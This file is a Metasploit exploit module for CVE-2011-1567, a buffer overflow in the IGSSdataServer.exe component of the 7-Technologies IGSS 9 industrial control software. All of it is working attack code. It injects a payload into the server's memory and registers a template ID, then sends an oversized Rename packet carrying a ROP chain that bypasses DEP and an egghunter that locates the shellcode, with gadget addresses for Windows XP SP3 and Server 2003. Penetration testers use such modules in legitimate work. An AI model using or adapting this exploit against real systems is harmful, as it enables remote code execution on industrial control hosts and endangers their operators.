##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Egghunter

  def initialize(info={})
    super(update_info(info,
      'Name'           => "7-Technologies IGSS 9 IGSSdataServer .RMS Rename Buffer Overflow",
      'Description'    => %q{
          This module exploits a vulnerability found on 7-Technologies IGSS 9. By supplying
        a long string of data to the 'Rename' (0x02), 'Delete' (0x03), or 'Add' (0x04) command,
        a buffer overflow condition occurs in IGSSdataServer.exe while handing an RMS report,
        which results arbitrary code execution under the context of the user.

        The attack is carried out in three stages.  The first stage sends the final payload to
        IGSSdataServer.exe, which will remain in memory.  The second stage sends the Add command
        so the process can find a valid ID for the Rename command.  The last stage then triggers
        the vulnerability with the Rename command, and uses an egghunter to search for the
        shellcode that we sent in stage 1.  The use of egghunter appears to be necessary due to
        the small buffer size, which cannot even contain our ROP chain and the final payload.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Luigi Auriemma <aluigi[at]autistici.org>',  #Initial discovery, poc
          'sinn3r',                                    #Metasploit
        ],
      'References'     =>
        [
          ['CVE', '2011-1567'],
          ['OSVDB', '72352'],
          ['URL', 'http://aluigi.altervista.org/adv/igss_5-adv.txt'],
          ['URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-11-132-01A.pdf']
        ],
      'Payload'        =>
        {
          'BadChars'        => "\x00",
          'StackAdjustment' => -3500,
        },
      'DefaultOptions'  =>
        {
          'EXITFUNC' => "seh",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [
            'Windows XP SP3',
            {
              'Ret'          => 0x1B0938B8, #ADD ESP,910; RETN 10 MSJET40.dll
              'RopOffset'    => 68,         #Offset to the ROP chain
              'Offset'       => 500,        #Offset to SE Handler (stack pivot)
              'Max'          => 8000,       #Max buffer size
            }
          ],
          [
            'Windows Server 2003 SP2/R2 SP2',
            {
              'Ret'       => 0x1B093622, #ADD ESP,910; RETN 10 MSJET40.dll
              'RopOffset' => 76,         #Offset to the ROP chain
              'Offset'    => 500,        #Offset to SE Handler (stack pivot)
              'Max'       => 8000,       #Max buffer size
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Mar 24 2011"))

      register_options(
        [
          Opt::RPORT(12401, false),
        ]
      )
  end

  #We need to send the Add command first, so that IGSSdataServer.exe can find the 'ID' before
  #triggering the vulnerable code path we're trying to hit.  Without this, we'll just hit
  #"FAILED renameDicRec.  ID not found %s" (logText function).
  def add_template(id)
    buf  = ''
    buf << "\x9b\x00"  #Packet size
    buf << "\x01\x00\x34\x12"
    buf << "\x07"      #Opcode
    buf << "\x00\x00\x00\x00\x00\x00\x00"
    buf << "\x01"      #Flag
    buf << "\x00\x00\x00"
    buf << "\x04"      #Command (add)
    buf << "\x00\x00\x00"
    buf << id
    buf << "\x00"
    buf << "\x00"*31
    buf << "\x78"
    buf << "\x00"*63
    buf << "\x78"
    buf << "\x00"*28

    connect

    sock.put(buf)

    print_status("Sending ADD command to #{datastore['RHOST']}")
    res = sock.recv(1024)

    disconnect

    return res
  end

  #Since we don't have a lot of space on the stack when we trigger the overflow, we send a
  #separate packet that contains our final payload, and let egghunter look for it later in memory
  def inject_payload(my_payload)

    buf  = ''
    buf << "\x01\x00\x34\x12"
    buf << "\x0D"  #Opcode
    buf << "\x00\x00\x00\x00\x00\x00\x00"
    buf << "\x01"  #Flag
    buf << "\x00\x00\x00"
    buf << "\x01"  #Command (ListAll)
    buf << "\x00\x00\x00"
    buf << my_payload
    buf << Rex::Text.rand_text_alpha(1024-my_payload.length)
    buf << "\x00"*130

    #Packet size
    buf_size = [buf.length + 2].pack('v')
    buf = buf_size + buf

    connect

    sock.put(buf)
    print_status("Injecting payload in memory to #{datastore['RHOST']}")

    disconnect
  end

  #It's definitely junk
  def junk
    return rand_text(4).unpack("L")[0].to_i
  end

  def sploit_rename(id)
    #Egghunter is used because we don't really have a lot of space on the stack
    #to fit the ROP chain and a larger payload
    eggoptions =
    {
      :checksum  => true,
      :eggtag    => 'W00T',
      :depmethod => 'virtualprotect',
      :depreg    => 'esi'
    }

    hunter, p = generate_egghunter(payload.encoded, payload_badchars, eggoptions)

    #depreg  (Put VirtualProtect in ESI)
    esi  = "\x81\xf6\x16\x1b\x5f\x5e"  #XOR ESI, 0x5E5F1B16
    esi << "\x3e\x8b\x36"              #MOV ESI, DWORD PTR DS:[ESI]

    #Put depreg alignment
    hunter = esi + hunter

    #Send final payload first, and let egghunter look for it
    inject_payload(p)

    #Max ROP chain size we can use is 406 bytes
    rop  = [
      :xchg_esp_ebp,
      #0x59ABA24B,  #PUSH ESP # POP EBP # RETN  [dbghelp.dll]
      junk,
      junk,
      junk,
      junk,
      0x1B76A59E,  #XCHG EAX,EBP # RETN  [dao360.dll]
      0x1B8260DD,  #ADD EAX,20 # RETN  [msjtes40.dll]
      :add_eax_100,
      #0x1B09FA13,  #ADD EAX,100 # RETN 0C  [MSJET40.DLL]

      #VirtualProtect Argument ([0x540214])
      :xchg_eax_ecx,
      junk,
      junk,
      junk,
      :pop_eax,
      0x3BABFD6D,  #0x3BABFD6D xor 0x3BFFFF79
      0x1B7802A3,  #XOR EAX,3BFFFF79 # RETN  [dao360.dll]
      0x1b73f3bd,  #MOV EAX,DWORD PTR DS:[EAX] # RETN  [dao360.dll]
      :xchg_eax_ecx,
      0x1B829E75,  #MOV DWORD PTR DS:[EAX],ECX # RETN  [msjtes40.dll]
      0x1B74C50A,  #ADD EAX,4 # RETN  [dao360.dll]

      #Retn:
      :xchg_eax_esi,
      #0x1B0505C1,  #PUSH EAX # POP ESI # RETN 4  [MSJET40.DLL]
      0x1B8260DD,  #ADD EAX,20 # RETN  [Module : msjtes40.dll]
      junk,
      0x1B8260DD,  #ADD EAX,20 # RETN  [msjtes40.dll]
      0x1B8260DD,  #ADD EAX,20 # RETN  [msjtes40.dll]
      0x1B8260DD,  #ADD EAX,20 # RETN  [msjtes40.dll]
      :xchg_eax_ecx,
      :mov_eax_esi_pop_esi,
      #0x1B03AD44,  #MOV EAX,ESI # POP ESI # RETN  [MSJET40.DLL]
      0x5E0B1902,  #:depreg initial value to xor
      0x1B829E75,  #MOV DWORD PTR DS:[EAX],ECX # RETN  [msjtes40.dll]
      0x1B74C50A,  #ADD EAX,4 # RETN  [dao360.dll]

      #Shellcode:
      0x1B829E75,  #MOV DWORD PTR DS:[EAX],ECX # RETN  [msjtes40.dll]
      0x1B74C50A,  #ADD EAX,4 # RETN  [dao360.dll]

      #Size (100 bytes -- enough for egghunter)
      :xchg_eax_ecx,
      :pop_eax,
      :size_xor,
      0x1B7802A3,  #XOR EAX,3BFFFF79 # RETN  [dao360.dll]
      :xchg_eax_ecx,
      0x1B829E75,  #MOV DWORD PTR DS:[EAX],ECX # RETN  [msjtes40.dll]
      0x1B74C50A,  #ADD EAX,4 # RETN  [dao360.dll]

      #newProtect (0x40):
      :xchg_eax_ecx,
      :pop_eax,
      0x3BFFFF39,  #0x3BFFFF39 xor 0x3BFFFF79
      0x1B7802A3,  #XOR EAX,3BFFFF79 # RETN  [dao360.dll]
      :xchg_eax_ecx,
      0x1B829E75,  #MOV DWORD PTR DS:[EAX],ECX # RETN  [msjtes40.dll]
      0x1B74C50A,  #ADD EAX,4 # RETN  [dao360.dll]

      #oldProtect
      0x1B731395,  #POP ECX # RETN  [dao360.dll]
      0x1B82B410,  #.data section (WR) in msjtes40.dll
      0x1B829E75,  #MOV DWORD PTR DS:[EAX],ECX # RETN  [msjtes40.dll]

      #Align the rewind part
      0x1B829E86,  # ADD EAX,0C # RETN  [msjtes40.dll]

      #Rewind
      :rewind,

      #Execute
      0x1B72A833,  #XCHG EAX,ESP # RETN  [dao360.dll]
    ]

    #OS specific gadgets
    rop.map! do |gadget|
      if gadget == :xchg_esp_ebp
        (target.name =~ /xp/i) ? 0x59ABA24B : 0x6D5E2223
      elsif gadget == :add_eax_100
        (target.name =~ /xp/i) ? 0x1B09FA13 : 0x1B09F6F3
      elsif gadget == :xchg_eax_esi
        (target.name =~ /xp/i) ? 0x1B0505C1 : 0x1B051B71
      elsif gadget == :xchg_eax_ecx
        (target.name =~ /xp/i) ? 0x1B02708C : 0x1B02B28D
      elsif gadget == :mov_eax_esi_pop_esi
        (target.name =~ /xp/i) ? 0x1B03AD44 : 0x1B110735
      elsif gadget == :pop_eax
        (target.name =~ /xp/i) ? 0x1B0C65B6 : 0x1B0c6169
      elsif gadget == :size_xor
        (target.name =~ /xp/i) ? 0x3BFFFF01 : 0x3BFFFF1D
      elsif gadget == :rewind
        (target.name =~ /xp/i) ? 0x1B03D70A : 0x1B03C741
      else
        gadget
      end
    end

    rop = rop.pack('V*')

    sploit  = ''
    sploit << Rex::Text.rand_text_alpha(target['RopOffset'])
    sploit << rop
    sploit << Rex::Text.rand_text_alpha(target['Offset']-sploit.length)
    sploit << [target.ret].pack('V')  #Pivot
    sploit << make_nops(12)  #Padding
    sploit << hunter
    sploit << Rex::Text.rand_text_alpha(target['Max']-sploit.length)

    #Create the packet with our naughty payload
    pkt  = "\x00\x04"  #Funky size causes overflow
    pkt << "\x01\x00\x34\x12"
    pkt << "\x07"      #Opcode
    pkt << "\x00\x00\x00\x00\x00\x00\x00"
    pkt << "\x02"      #Flag
    pkt << "\x00\x00\x00"
    pkt << "\x02"      #Command
    pkt << "\x00\x00\x00"
    pkt << id
    pkt << "\x00"
    pkt << sploit

    connect

    print_status("Sending malicious request to #{datastore['RHOST']}")
    sock.put(pkt)

    handler

    #egghunter takes a few seconds, wait a bit before disconnect
    select(nil, nil, nil, 3)
    disconnect
  end

  def exploit
    id = Rex::Text.rand_text_alpha(8)

    res = add_template(id)
    if res !~ /Report/i
      print_error("Failed to add template:#{res}")
      return
    end

    sploit_rename(id)
  end
end
